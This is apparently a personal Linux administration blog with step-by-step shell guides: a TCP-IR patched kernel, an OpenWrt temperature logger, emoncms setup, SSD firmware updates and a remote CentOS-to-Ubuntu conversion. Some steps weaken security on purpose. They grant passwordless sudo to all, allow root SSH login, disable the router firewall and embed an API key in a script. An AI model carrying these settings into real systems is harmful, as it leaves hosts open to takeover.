Saturday, March 22, 2014

Ubuntu 13.10 with TCP-IR (TCP Instant Recovery / FEC) enabled kernel v3.4.83

How would FEC (Forward Error Correction) enabled TCP/IP stack for Linux sound like? Yep, I know you're interested and want it. Start by checking these two links.
http://www.ietf.org/proceedings/87/slides/slides-87-tcpm-8.pdf
http://tools.ietf.org/html/draft-flach-tcpm-fec-00

There's patch out to implement TCP-IR with Linux kernel 3.2.36 available on https://github.com/tflach/tcp-fec/tree/linux-stable-3.2.36. Kernel version is bit dated by now, but we can apply same patch to more recent 3.4 series kernels such as 3.4.83. Anyway, exact version hardly matters for experiments like this. Go!

# Let's download and install 3.4.83 without TCP-IR support
# so we can more easily narrow cause if TCP-IR enabled one acts odd
mkdir -p /opt/kernel_3.4.83
cd /opt/kernel_3.4.83
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.4.83-quantal/linux-headers-3.4.83-030483-generic_3.4.83-030483.201403111935_amd64.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.4.83-quantal/linux-headers-3.4.83-030483_3.4.83-030483.201403111935_all.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.4.83-quantal/linux-image-3.4.83-030483-generic_3.4.83-030483.201403111935_amd64.deb
dpkg -i linux-*.deb

# Reboot now and select 3.4.83 from grub to make sure your PC works properly
# with older kernel.
# Deps for compiling kernel
apt-get -y install git-core kernel-package fakeroot build-essential ncurses-dev

# Create build environment
adduser bobbuilder --shell /bin/bash \
        --disabled-password --gecos bobbuilder

# Switch to non-priviledged user for build
sudo su - bobbuilder

# Download clean kernel tarball
mkdir -p ~/build/tcpir
cd ~/build/tcpir
wget ftp://ftp.kernel.org/pub/linux/kernel/v3.x/linux-3.4.83.tar.gz

# Download TCP-IR patch
wget https://github.com/tflach/tcp-fec/commit/9e56a3d2bab809eb36eb062c6ee3ab1f11f68565.patch

# Download Ubuntu patches for 3.4.83 kernel
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.4.83-quantal/0001-base-packaging.patch
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.4.83-quantal/0002-UBUNTU-SAUCE-highbank-export-clock-functions-for-mod.patch
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.4.83-quantal/0003-debian-changelog.patch
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.4.83-quantal/0004-configs-based-on-Ubuntu-END.patch

# Extract and patch with Ubuntu changes
tar xvzf linux-3.4.83.tar.gz
cd linux-3.4.83
patch -p1 <../0001-base-packaging.patch
patch -p1 <../0002-UBUNTU-SAUCE-highbank-export-clock-functions-for-mod.patch
patch -p1 <../0003-debian-changelog.patch
patch -p1 <../0004-configs-based-on-Ubuntu-END.patch

# Apply TCP-IR patch
patch -p1 -F3 <../9e56a3d2bab809eb36eb062c6ee3ab1f11f68565.patch

# Following hack is to enable TCP-IR by default without requiring
# patching and recompiling of all applications with new TCP_FEC sockopt.
cat<<'_EOF_'|patch -p0 -l
--- net/ipv4/tcp_output.c~      2014-03-20 01:04:36.000000000 +0200
+++ net/ipv4/tcp_output.c       2014-03-20 23:55:35.263873726 +0200
@@ -2639,6 +2639,9 @@
        struct tcp_sock *tp = tcp_sk(sk);
        __u8 rcv_wscale;
 
+        // Try to use TCP-IR if /proc/net/ipv4/tcp_fec is 1 (non-interleaved) or 2 (interleaved)
+        if (sysctl_tcp_fec >= 1) tp->fec.type = sysctl_tcp_fec;
+                
        /* We'll fix this up when we get a response from the other end.
         * See tcp_input.c:tcp_rcv_state_process case TCP_SYN_SENT.
         */
_EOF_

# Use default ubuntu kernel config for our custom kernel
cp /boot/config-3.4.83-030483-generic .config
yes "" | make oldconfig

# Compile kernel and generate new dpkgs
CONCURRENCY_LEVEL=16 fakeroot make-kpkg \
  --initrd --append-to-version=-tcpir kernel_image kernel_headers

# Optional: Hack to enable TCP-IR debug printk and compile another kernel 
# package. This WILL flood your logs but will also let you easily see what
# TCP-IR does.
sed -i.bak Makefile -e's/-Wall/-Wall -DFEC_DEBUG/g'
CONCURRENCY_LEVEL=16 fakeroot make-kpkg \
  --initrd --append-to-version=-tcpirdebug kernel_image kernel_headers

# Rest as root

# Make sure ohci-pci USB driver is loaded during initramfs
echo "ohci-pci" >>/etc/initramfs-tools/modules

# Install new kernel
cd /home/bobbuilder/build/tcpir
dpkg -i linux-image-3.4.83-tcpir_3.4.83-tcpir-10.00.Custom_amd64.deb \
        linux-headers-3.4.83-tcpir_3.4.83-tcpir-10.00.Custom_amd64.deb
 
# Prevent future kernel updates breaking things
echo "linux-image-3.4.83-tcpir hold"            | dpkg --set-selections
echo "linux-headers-3.4.83-tcpir hold"          | dpkg --set-selections
echo "linux-image-3.4.83-030483-generic hold"   | dpkg --set-selections
echo "linux-headers-3.4.83-030483 hold"         | dpkg --set-selections
echo "linux-headers-3.4.83-030483-generic hold" | dpkg --set-selections
 
# For new Ubuntu versions with silly grub submenu layout
# https://help.ubuntu.com/community/Grub2/Submenus#Setting_a_Submenu_entry_as_the_default
sed -i.bak /etc/default/grub \
    -e's|^GRUB_DEFAULT=.*|GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 3.4.83-tcpir"|g'
 
# For older versions such as 12.04
sed -i.bak /etc/default/grub \
    -e's|^GRUB_DEFAULT=.*|GRUB_DEFAULT="Ubuntu, with Linux 3.4.83-tcpir"|g'
 
# and run update-grub
update-grub
 
# Reboot

And that's about it. All outgoing TCP connections will use TCP-IR if remote end supports it. Which is of course extremely unlikely unless it's host under your control with custom kernel. :) You can turn TCP-IR off and toggle between regular and interleaved mode with sysctl. Just make sure to use same mode on remote side for FEC to work.

# Disable TCP-IR
sysctl net.ipv4.tcp_fec=0

# Regular mode
sysctl net.ipv4.tcp_fec=1

# Interleaved mode
sysctl net.ipv4.tcp_fec=2

So we have error correcting TCP stack now and any TCP connections to another TCP-IR enabled host will be FEC enabled. But is it any good? It does indeed repair most missing packets without retransmissions, but like it said on that presentation linked on top of this article it's no good for long duration TCP connections. Perhaps bit surprisingly regular TCP retransmission logic does better, especially on lossy high latency links. In best cases with TCP-IR I've got around half of regular Linux TCP performance.

Wednesday, March 19, 2014

Digi One, PortServer etc. and double enter problem

There's annoying problem with Digi RS232 - Ethernet products (also sold BlackBox branded). Many if not most telnet clients are incompatible with their server implementation and treat single enter press as two enter presses. Incompatible clients are at least SecureCRT, Putty and one Microsoft includes with Windows. Teraterm works ok.

You can fix this problem by logging on to Digi admin interface using telnet and typing "set telnetip ip=10.0.0.0 mask=255.0.0.0 mode=striplf". Now connections from 10.0.0.0/8 subnet will work without need for client side hacks. Besides tips on KB for Putty don't even work so you have to use "set telnetip" way. If you can't change Digi setting just press Ctrl-J instead of enter...

Extra Carriage Return or Line Feed When Using PuTTY
http://www.digi.com/support/kbase/kbaseresultdetl?id=689

Microsoft Telnet with PortServer Units Results in Double Carriage Return/Line Feed (CR/LF) and a Failure to Login
http://www.digi.com/support/kbase/kbaseresultdetl?id=23



Saturday, January 18, 2014

Measuring temperature with OpenWrt and submitting values to EmonCMS

I'm using OpenWrt with following customizations to send temperature readings to EmonCMS. Hardware is noname Ralink RT3052 router (WR512-3GN) and Dallas DS9097U compatible USB 1-wire adapter. Main reason for going with Image Generator instead of compiling custom firmware was to keep binary and API compatibility with packages from stock OpenWrt repository. Package selection below leaves 168kB free on JFFS2 filesystem. Drop editor, Luci etc. and you'll have a lot more free. If you don't need to patch init scripts like I did due bug in WR512-3GN support you can simply install packages and apply scripts over top of official OpenWrt release flashed to your router.

# Download OpenWrt 12.09 Image Generator (ImageBuilder)
mkdir ~/openwrt
cd ~/openwrt
wget http://downloads.openwrt.org/attitude_adjustment/12.09/ramips/rt305x/OpenWrt-ImageBuilder-ramips_rt305x-for-linux-i486.tar.bz2
tar -xvjf OpenWrt-ImageBuilder-ramips_rt305x-for-linux-i486.tar.bz2
cd OpenWrt-ImageBuilder-ramips_rt305x-for-linux-i486
# Create folder structure for extra files we want to include on our squashfs image
mkdir -p files/etc/config files/etc/uci-defaults files/etc/crontabs files/lib/preinit files/lib/functions

# Various settings we do only once after installing new firmware image
cat<<'__EOF__'>files/etc/uci-defaults/default-conf.sh
#!/bin/sh
# Turn off OpenWrt stock firewall
/etc/init.d/firewall disable

# Enable Luci web management
/etc/init.d/uhttpd enable

# Symlink crontab to standard location
ln -sf /etc/crontabs/root /etc/crontab

# Remove this script so it's executed only once after firmware install
rm -f /etc/uci-defaults/default-conf.sh
__EOF__
# Script needs to be executable
chmod a+x files/etc/uci-defaults/default-conf.sh

# Since we just disabled OpenWrt builtin overly complicated firewall
# rules set some basic stuff over here
cat<<'__EOF__'>files/etc/rc.local
#!/bin/sh
# Do nothing if OpenWrt builtin firewall has been enabled
[ -h /etc/rc.d/S45firewall ] && exit 0
# Very basic iptables to only allow management from local network
iptables -F INPUT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p icmp -m icmp --icmp-type any -j ACCEPT
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 
iptables -A INPUT -m state --state NEW -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 23 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -j REJECT --reject-with icmp-host-prohibited
#
exit 0
__EOF__
# Script needs to be executable
chmod a+x files/etc/rc.local

# Changing default network settings has been made REALLY difficult for some reason...
# You can't overwrite default network file as you lose platform specific config.
# You can't change it using custom uci-defaults script because your changes get overwritten.
mkdir -p foo
tar -C foo -xvzf packages/base-files_117-r36088_ramips.ipk
tar -C foo -xvzf foo/data.tar.gz
sed -e"s/^set network.lan.ipaddr=.*/set network.lan.ipaddr='192.168.1.99'/g" \
    -e"s/^set network.lan.netmask=.*/set network.lan.netmask='255.255.255.0'\nset network.lan.gateway='192.168.1.1'\nset network.lan.dns='8.8.8.8 8.8.4.4'/g" \
    < foo/lib/functions/uci-defaults.sh \
    > files/lib/functions/uci-defaults.sh
rm -rf foo

# Fix board detection code - without this ethernet mac is wrong (00:11:22:33:44:55)
sed -e 's/sl-r7205/wr512-3gn|sl-r7205/g' \
    < ./target/linux/ramips/base-files/lib/preinit/06_set_iface_mac \
    > files/lib/preinit/06_set_iface_mac
# Script needs to be executable
chmod a+x files/lib/preinit/06_set_iface_mac

# Crontab to run digitemp once per minute
cat<<'__EOF__'>files/etc/crontabs/root
*/1 * * * * /etc/digitemp.sh >/dev/null 2>/dev/null
__EOF__

# Digitemp script to do magic
cat<<'__EOF__'>files/etc/digitemp.sh
#!/bin/sh

# Turn off leds
echo "0" >"/sys/class/leds/wr512:green:station/brightness"
echo "0" >"/sys/class/leds/wr512:green:ap/brightness"
echo "0" >"/sys/class/leds/wr512:green:gateway/brightness"
echo "0" >"/sys/class/leds/wr512:green:3g/brightness"

# Do nothing if DS9097U is missing
[ -c /dev/ttyUSB0 ] || exit 0

# Turn on leds to signal progress of script (fast blinking)
echo "255" >"/sys/class/leds/wr512:green:station/brightness"
echo "timer" >"/sys/class/leds/wr512:green:station/trigger"
echo "10" >"/sys/class/leds/wr512:green:station/delay_on"
echo "100" >"/sys/class/leds/wr512:green:station/delay_off"

# Kill any old digitemp processes running
killall -9 digitemp_DS9097U >/dev/null 2>/dev/null

# Turn on leds to signal progress of script
echo "255" >"/sys/class/leds/wr512:green:ap/brightness"

# Init digitemprc to cover any changes in list of connected sensors
echo "Found following sensors:"
digitemp_DS9097U -s /dev/ttyUSB0 -q -i

# Turn on leds to signal progress of script
echo "255" >"/sys/class/leds/wr512:green:gateway/brightness"

# Read all sensors and mangle to format that emoncms can accept
submit=$(digitemp_DS9097U -s /dev/ttyUSB0 -q -a -o"temp_%R:%.2C"|grep "^temp_"|xargs|sed -e's| |,|g')
echo "Submitting following info: "${submit}

# Turn on leds to signal progress of script
echo "255" >"/sys/class/leds/wr512:green:3g/brightness"

# Submit using curl
curl 'http://emoncms.example.com/emoncms/input/post.json?apikey=bab33b51f71d4170259ac6eebdc881c4&node=100&json=\{'${submit}'\}'

# Turn off leds
echo "0" >"/sys/class/leds/wr512:green:station/brightness"
echo "0" >"/sys/class/leds/wr512:green:ap/brightness"
echo "0" >"/sys/class/leds/wr512:green:gateway/brightness"
echo "0" >"/sys/class/leds/wr512:green:3g/brightness"

# Done
exit 0
__EOF__
# Script needs to be executable
chmod a+x files/etc/digitemp.sh
# Build custom image with our changes
make image PROFILE=Default FILES=files/ PACKAGES="luci luci-theme-base luci-theme-openwrt luci-i18n-english kmod-usb-serial-ftdi digitemp curl joe -dnsmasq -ppp -ppp-mod-pppoe"
# Copy bin/ramips/openwrt-ramips-rt305x-wr512-3gn-4M-squashfs-sysupgrade.bin to router
# Run these on router, not on your PC used to create image
# wget is just one way to transfer new image, use your imagination as necessary
cd /tmp
wget http://192.168.1.10/openwrt/ramips/openwrt-ramips-rt305x-wr512-3gn-4M-squashfs-sysupgrade.bin
sysupgrade -n -v openwrt-ramips-rt305x-wr512-3gn-4M-squashfs-sysupgrade.bin 

After reboot login to OpenWrt device, set password and that's about it

Saturday, January 04, 2014

Updating Samsung SSD firmware without Windows

My attempts to update Samsung 840 EVO to new EXT0BB6Q firmware kept failing with "WDOSX Win32 subsystem: Abort from unhandled exception" error message. This seems to be due outdated FreeDOS Samsung uses. Old version is probably incompatible with newer motherboard or something.

I got updater working by creating USB stick with bootable FreeDOS 1.1 and firmware files from Samsung.

# Below assumes your USB stick is /dev/sdj. DOUBLE CHECK THIS!
# Unmount any partitions OS might have automounted from this USB device
mkdir -p /tmp/foo
cd /tmp/foo

# Get FreeDOS image, unpack, write to USB
wget http://dump.asiantuntijakaveri.fi/le_bueno_dumpo/FreeDOS-1.1-USB-Boot.img.bz2
bunzip2 FreeDOS-1.1-USB-Boot.img.bz2
dd if=FreeDOS-1.1-USB-Boot.img of=/dev/sdj bs=4k

# Refresh Linux partition table list and mount USB
# This WILL fail if you don't unmount automounted filesystem first
partprobe
mkdir mnt
mount /dev/sdj1 mnt

# Download firmware update
wget http://www.samsung.com/global/business/semiconductor/samsungssd/downloads/Samsung_SSD_840_EVO_EXT0BB6Q.iso

# Unpack and copy to USB
mkdir tmp
# Mount ISO image
mount Samsung_SSD_840_EVO_EXT0BB6Q.iso tmp -o loop
# Mount floppy image stored inside ISO image
losetup /dev/loop0 tmp/isolinux/btdsk.img
mkdir tmp2
mount /dev/loop0 tmp2
# Copy files from floppy image to USB stick
cp -av tmp2/AUTOEXEC.BAT tmp2/License.txt tmp2/samsung/ mnt/
# Sync changes
sync

# Unmount USB as we're done
umount mnt

Tuesday, December 31, 2013

XBMC 12.3, Tvheadend PVR addon, unable to open live transcode settings menu

Can't access Tvheadend "Client specific settings" to enable on-the-fly transcoding on XBMC 12.3 Frodo? 

If you have debug logging enabled following error message will appear on logfile.

ERROR: Window_New: xbmc.pvrclient/Tvheadend HTSP Client - XML File '' for Window is missing, contact Developer 'Lars Op den Kamp, Team XBMC' of this AddOn

This is due wrong path buried somewhere in source. Quick fix is to symlink wrong path to correct path. With Aeon Nox menu is corrupted, but you can still change settings. Using Confluence it works fine with fix below.

mkdir -p /usr/share/xbmc/addons/pvr.hts/resources/skins/skin.confluence/720p/
ln -sf /usr/share/xbmc/addons/pvr.hts/resources/skins/Confluence/720p/DialogTranscode.xml /usr/share/xbmc/addons/pvr.hts/resources/skins/skin.confluence/720p/DialogTranscode.xml

mkdir -p /usr/share/xbmc/addons/pvr.hts/resources/skins/skin.aeon.nox/1080i/
ln -sf /usr/share/xbmc/addons/pvr.hts/resources/skins/Confluence/720p/DialogTranscode.xml /usr/share/xbmc/addons/pvr.hts/resources/skins/skin.aeon.nox/1080i/DialogTranscode.xml

Saturday, December 14, 2013

Connecting Samsung 9 Series 900X3C running Windows 7 x64 to Onkyo TX-NR626 amplifier using Bluetooth A2DP

After replacing incredible slow Sandisk SSD Samsung ships this model with Crucial CT240M500SSD3 and doing clean bloatware free Win7 install I noticed I couldn't connect to my Onkyo TX-NR626 using bluetooth anymore. Reason was that Microsoft doesn't provide required drivers for A2DP bluetooth profile required.

Solution is to simply download whole stack from Bluetooth chipset manufacturer and hope they contain required drivers. This laptop uses Intel bluetooth and Intel does indeed have required A2DP driver.

Download latest "Intel PROSet/Wireless Software for Bluetooth technology" (yes, what a name - very microsofty) from http://www.intel.com/support/wireless/wtech/proset-ws/sb/CS-034060.htm

Install bluetooth stack with defaults. No need to reboot. If you already paired your receiver open list of bluetooth devices on Windows and let repair wizard fix problem. By the way, this was first time ever I've seen these wizards do anything useful.

When you want to use bluetooth audio just doubleclick Onkyo on list of bluetooth devices and connect to it under Operations.

Friday, November 15, 2013

Ubuntu 13.10 x64 with emoncms

Install Ubuntu 13.10 x64 Server version with default settings and try to follow Emoncms docs. Didn't work that well, right? Well why don't you follow these instructions instead.

# Login and switch to root with sudo
sudo su -

# Allow root logins
passwd root

# Fix silly default sudo config
sed -i.bak -e's|ALL=(ALL:ALL) ALL|ALL=(ALL:ALL) NOPASSWD:ALL|g' /etc/sudoers

# Install OpenSSH, MySQL, Apache, PHP etc.
apt-get update
apt-get -y install openssh-server mysql-server apache2 apache2-mpm-prefork libapache2-mod-php5 \
                   php5 php5-json php5-mysql php5-curl git build-essential \
                   open-vm-tools joe curl wget lftp screen

# Update system and reboot
apt-get -y dist-upgrade
reboot


# Login as root after boot

# Install timestore, it's something way faster than mysql for storing our readings
# There's currently no packaged version available so we need to compile and install
# it ourselves. Of course install script places files in weird places but so what.
mkdir -p /opt
cd /opt
git clone https://github.com/TrystanLea/timestore
cd timestore
sh install


# Enable Apache mod_rewrite
a2enmod rewrite

# Next is my favorite from emoncms install doc. Whoever wrote that blindly assumes
# that every Linux install with Apache has .htaccess override control on line 7
# of 000-default. It doesn't even tell what this change does, just to edit line 7.
#
# If you do this step incorrectly you end up with weird problems far later in
# setup process. Googling those symptoms shows there's several people that suffer
# from this goof and not even devs themselves seem to know how to help. Whee...
#
# What you really should do is append this to /etc/apache2/apache2.conf
#<directory /var/www/emoncms/>
#        Options Indexes FollowSymLinks
#        AllowOverride All
#        Require all granted
#</directory>

# And here's how to do it
cat <<'_EOF_'>>/etc/apache2/apache2.conf
<directory /var/www/emoncms/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</directory>
_EOF_

# Prevent indexing of server
cat <<'_EOF_'>>/var/www/robots.txt
User-agent: *
Disallow: /
_EOF_

# Switch to blank front page
rm -f /var/www/index.html
touch /var/www/index.html

# Set timezone to prevent pointless timezone warnings from php
sed -i /etc/php5/apache2/php.ini \
    -e 's|^.*date.timezone =.*|date.timezone = Europe/Helsinki;|g'

# Restart apache2
/etc/init.d/apache2 restart


# Finally we can install emoncms
cd /var/www
git clone https://github.com/emoncms/emoncms.git

# Next we create MySQL database, this part of documentation is broken as well
# since it completely omits part of granting apache process access to database.
mysql -u root -e"CREATE DATABASE emoncms;GRANT ALL PRIVILEGES on emoncms.* TO 'emoncms'@'localhost' identified by 'mypassword';"

# Config DB connection settings for emoncms
cp default.settings.php settings.php
sed -i settings.php \
    -e 's|$username.*|$username = "emoncms";|g' \
    -e 's|$password.*|$password = "mypassword";|g' \
    -e 's|$database.*|$database = "emoncms";|g' \
    -e 's|$timestore_adminkey.*|$timestore_adminkey = "'$(cat /var/lib/timestore/adminkey.txt)'";|g'

# Fix .htaccess
sed -i .htaccess \
    -e 's|<ifmodule mod_rewrite.c>|#<ifmodule mod_rewrite.c>|g' \
    -e 's|</ifmodule>|#</ifmodule>|g' \
    -e 's|/home/trystan/error.log|/tmp/emoncms-php-error.log|g'

# Fix bug of applying password length checks against username
sed -i Modules/user/user_model.php \
    -e 's|if (strlen($username) < 4|if (strlen($username) < 1|g'

# Next login over web http://serverip/emoncms/ and register new account
# First account created will be granted admin rights

# Prevent registration of additional accounts
sed -i settings.php \
    -e 's|$allowusersregister.*|$allowusersregister = FALSE;|g'

Now you can continue setting emoncms like you would when using emoncms.org service instead of own install

Thursday, November 14, 2013

Remote conversion of 32-bit CentOS 6.3 to 64-bit Ubuntu 13.10

Pretty much any Linux should be fine as long as you have suitable scratch partition for temp Ubuntu install, in this example we're re-using 6GB swap partition. Process is two step, first we do minimal 32-bit Ubuntu install over swap partition, boot system, hack it to 64-bit and finally do final 64-bit Ubuntu install over old CentOS rootfs.
# Get debootstrap
mkdir -p /tmp/debootstrap
cd /tmp/debootstrap
wget http://archive.ubuntu.com/ubuntu/pool/main/d/debootstrap/debootstrap_1.0.53ubuntu0.1_all.deb
ar -xf debootstrap_1.0.53ubuntu0.1_all.deb
tar xzf data.tar.gz
tar xzf control.tar.gz

# Perl, GPG and keys are needed too
yum install gpg perl
wget "http://archive.ubuntu.com/ubuntu/pool/main/u/ubuntu-keyring/ubuntu-keyring_2011.11.21.1.tar.gz"
tar xzf ubuntu-keyring_2011.11.21.1.tar.gz

# Turn off swap (see /proc/swaps)
swapoff /dev/sda2

# Create new rootfs
mkfs.ext4 /dev/sda2

# Mount new roots
mkdir -p /mnt/ubuntu32
mount /dev/sda2 /mnt/ubuntu32

# Start install of 32-bit Ubuntu
DEBOOTSTRAP_DIR=/tmp/debootstrap/usr/share/debootstrap \
/tmp/debootstrap/usr/sbin/debootstrap --arch i386 \
--keyring=/tmp/debootstrap/ubuntu-keyring-2011.11.21.1/keyrings/ubuntu-archive-keyring.gpg \
saucy /mnt/ubuntu32 http://fi.archive.ubuntu.com/ubuntu/

# Configure OS
cd /mnt/ubuntu32
# hostname
echo "tempinstall" >etc/hostname
# fstab
echo "proc /proc proc defaults 0 0" >etc/fstab
echo "$(blkid /dev/sda2 -o export|grep UUID) / ext4 defaults,errors=remount-ro 0 1" >>etc/fstab
# network
echo "auto lo" >etc/network/interfaces
echo "iface lo inet loopback" >>etc/network/interfaces
echo "auto eth0" >>etc/network/interfaces
echo "iface eth0 inet static" >>etc/network/interfaces
echo "  address 192.168.8.16" >>etc/network/interfaces
echo "  network 192.168.8.0" >>etc/network/interfaces
echo "  broadcast 192.168.9.255" >>etc/network/interfaces
echo "  gateway 192.168.8.1" >>etc/network/interfaces
echo "  netmask 255.255.254.0" >>etc/network/interfaces
# dns
echo "nameserver 8.8.8.8" >etc/resolv.conf

# Mount proc, sysfs and dev
mount -t proc none  /mnt/ubuntu32/proc
mount -t sysfs none /mnt/ubuntu32/sys
mount -o bind /dev  /mnt/ubuntu32/dev

# Next we chroot to temporary 32-bit Ubuntu install
LANG= chroot /mnt/ubuntu32 /bin/bash

# set root password
passwd

# Install openssh for remote access after boot
apt-get update
apt-get -y install openssh-server

# Allow root over ssh
sed -i.bak -e's/.*PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config

# Install kernel
apt-get -y install linux-image

# When asked where grub-pc should put boot sector select all disks offered on multidisk system, with just one disk simply pick /dev/sda

# exit chroot and then reboot
exit
reboot
For whatever reason at this point names of disks changed and disk containing root was detected as sdb. Hence change in disk names from now on
# Next we switch kernel from i386 to x64
dpkg --add-architecture amd64
apt-get update 
apt-get -y install linux-image:amd64
apt-get remove linux-image:i386

# Boot
reboot
# Get debootstrap
apt-get update
apt-get -y install debootstrap

# Create new bootfs and rootfs
mkfs.ext4 /dev/sdb1 # boot
mkfs.ext4 /dev/sdb3 # root

# Mount new boot and root
mkdir -p /mnt/ubuntu64
mount /dev/sdb3 /mnt/ubuntu64
mkdir -p /mnt/ubuntu64/boot
mount /dev/sdb1 /mnt/ubuntu64/boot

# Start install of 64-bit Ubuntu
debootstrap --arch amd64 saucy /mnt/ubuntu64 http://fi.archive.ubuntu.com/ubuntu/

# Configure OS
cd /mnt/ubuntu64
# hostname
echo "vmbu" >etc/hostname
# fstab
echo "proc /proc proc defaults 0 0" >etc/fstab
echo "$(blkid /dev/sdb3 -o export|grep UUID) / ext4 defaults,errors=remount-ro 0 1" >>etc/fstab
echo "$(blkid /dev/sdb1 -o export|grep UUID) /boot ext4 defaults 0 2" >>etc/fstab
# network
echo "auto lo" >etc/network/interfaces
echo "iface lo inet loopback" >>etc/network/interfaces
echo "auto eth0" >>etc/network/interfaces
echo "iface eth0 inet static" >>etc/network/interfaces
echo "  address 192.168.8.16" >>etc/network/interfaces
echo "  network 192.168.8.0" >>etc/network/interfaces
echo "  broadcast 192.168.9.255" >>etc/network/interfaces
echo "  gateway 192.168.8.1" >>etc/network/interfaces
echo "  netmask 255.255.254.0" >>etc/network/interfaces
# dns
echo "nameserver 8.8.8.8" >etc/resolv.conf
echo "nameserver 8.8.4.4">>etc/resolv.conf

# Mount proc, sysfs and dev
mount -t proc none  /mnt/ubuntu64/proc
mount -t sysfs none /mnt/ubuntu64/sys
mount -o bind /dev  /mnt/ubuntu64/dev

# Next we chroot to final 64-bit Ubuntu install
LANG= chroot /mnt/ubuntu64 /bin/bash

# set root password
passwd

# Install openssh for remote access after boot
apt-get update
apt-get -y install openssh-server

# Allow root over ssh
sed -i.bak -e's/.*PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config

# Install kernel
apt-get -y install linux-image

# When asked where grub-pc should put boot sector select all disks offered on multidisk system, with just one disk simply pick /dev/sda

# exit chroot and then reboot
exit
reboot
# Now we have our final 64-bit Ubuntu 13.10 install up and running but it still needs a bit fixing to be usable

# Fix locales
locale-gen en_US.UTF-8
echo 'LANG="en_US.UTF-8"' >> /etc/environment
echo 'LANGUAGE="en_US:en"' >> /etc/environment

# Enable swap
mkswap /dev/sdb2
swapon /dev/sdb2
echo "$(blkid /dev/sdb2 -o export|grep UUID) none swap sw 0 0" >>/etc/fstab

# Enable full repos
cat <<_eof_>/etc/apt/sources.list
deb http://fi.archive.ubuntu.com/ubuntu/ saucy main restricted
deb-src http://fi.archive.ubuntu.com/ubuntu/ saucy main restricted
deb http://fi.archive.ubuntu.com/ubuntu/ saucy-updates main restricted
deb-src http://fi.archive.ubuntu.com/ubuntu/ saucy-updates main restricted
deb http://fi.archive.ubuntu.com/ubuntu/ saucy universe
deb-src http://fi.archive.ubuntu.com/ubuntu/ saucy universe
deb http://fi.archive.ubuntu.com/ubuntu/ saucy-updates universe
deb-src http://fi.archive.ubuntu.com/ubuntu/ saucy-updates universe
deb http://fi.archive.ubuntu.com/ubuntu/ saucy multiverse
deb-src http://fi.archive.ubuntu.com/ubuntu/ saucy multiverse
deb http://fi.archive.ubuntu.com/ubuntu/ saucy-updates multiverse
deb-src http://fi.archive.ubuntu.com/ubuntu/ saucy-updates multiverse
deb http://fi.archive.ubuntu.com/ubuntu/ saucy-backports main restricted universe multiverse
deb-src http://fi.archive.ubuntu.com/ubuntu/ saucy-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu saucy-security main restricted
deb-src http://security.ubuntu.com/ubuntu saucy-security main restricted
deb http://security.ubuntu.com/ubuntu saucy-security universe
deb-src http://security.ubuntu.com/ubuntu saucy-security universe
deb http://security.ubuntu.com/ubuntu saucy-security multiverse
deb-src http://security.ubuntu.com/ubuntu saucy-security multiverse
_EOF_

# Install base ubuntu packages and some other useful stuff
apt-get update
apt-get -y install ubuntu-standard joe wget curl screen python perl mtr traceroute build-essential python-software-properties software-properties-common linux-source linux-image-generic linux-headers-generic smartmontools ntp
apt-get -y dist-upgrade

# Reconfigure timezone
dpkg-reconfigure tzdata

# Reboot one last time
reboot

# Whoo! We're done.

Wednesday, November 06, 2013

Changing Windows 7 aero colors on the fly

I needed to change colors of Windows 7 taskbar and window decorations from command line. Quick Googlioplaza search revealed AutoIT3 example, but it was bit lacking. See updated version below.

My use case for this was taskworker PCs. Normal colors means everything is fine but when menus turn to red PC has lost network connection. Actions are triggered by task scheduler tracking Windows eventlog.

Start by setting wanted colors via regular Windows settings and replace values below with info from HKCU\Software\Microsoft\Windows\DWM. This script can be compiled to standalone exe with Aut2Exe.
Global Const $tagCOLORIZATIONPARAMS = 'dword ColorizationColor;' & _
          'dword ColorizationAfterglow;' & _
          ' uint ColorizationColorBalance;' & _
          ' uint ColorizationAfterglowBalance;' & _
          ' uint ColorizationBlurBalance;' & _
          ' uint ColorizationGlassReflectionIntensity;' & _
          ' uint ColorizationOpaqueBlend'
          
$tCP = DllStructCreate($tagCOLORIZATIONPARAMS)
$Ret = DllCall('dwmapi.dll', 'uint', 127, 'ptr', DllStructGetPtr($tCP))

DllStructSetData($tCP, 'ColorizationAfterglow', 0x6b74b8fc)               ; Default 0x6b74b8fc
DllStructSetData($tCP, 'ColorizationAfterglowBalance', 0x2b)              ; Default 0x2b
DllStructSetData($tCP, 'ColorizationBlurBalance', 0x31)                   ; Default 0x31
DllStructSetData($tCP, 'ColorizationColor', 0x6b74b8fc)                   ; Default 0x6b74b8fc
DllStructSetData($tCP, 'ColorizationColorBalance', 0x8)                   ; Default 0x8
DllStructSetData($tCP, 'ColorizationGlassReflectionIntensity', 0x50)      ; Default 0x50
DllStructSetData($tCP, 'ColorizationOpaqueBlend', 0x0)                    ; Default 0x0

$Ret = DllCall('dwmapi.dll', 'uint', 131, 'ptr', DllStructGetPtr($tCP), 'uint', 0)

Friday, October 04, 2013

Creating differential backups with 7-Zip

This is so great I'm shamelessly copying command lines for my own archive (aka this blog) - but also providing link to original.


Tuesday, September 24, 2013

Ubuntu and broken or missing aufs with default kernels

Aufs included in Ubuntu kernels is broken, what a surprise. In addition it has been dropped from newer kernels with claims that overlayfs does exactly same thing. It doesn't and everyone knows it except that one developer who decided it does and can't admit he made mistake. It seems aufs (and overlayfs) in Ubuntu is not really supposed to be used but only be part of install process. If so you guys shouldn't include it outside installer.. WontFix you too.

Therefore we need new kernel with recent aufs. Some notes below. Proceed at your own risk as usual.

# Switch to mainline kernel without Ubuntu patches
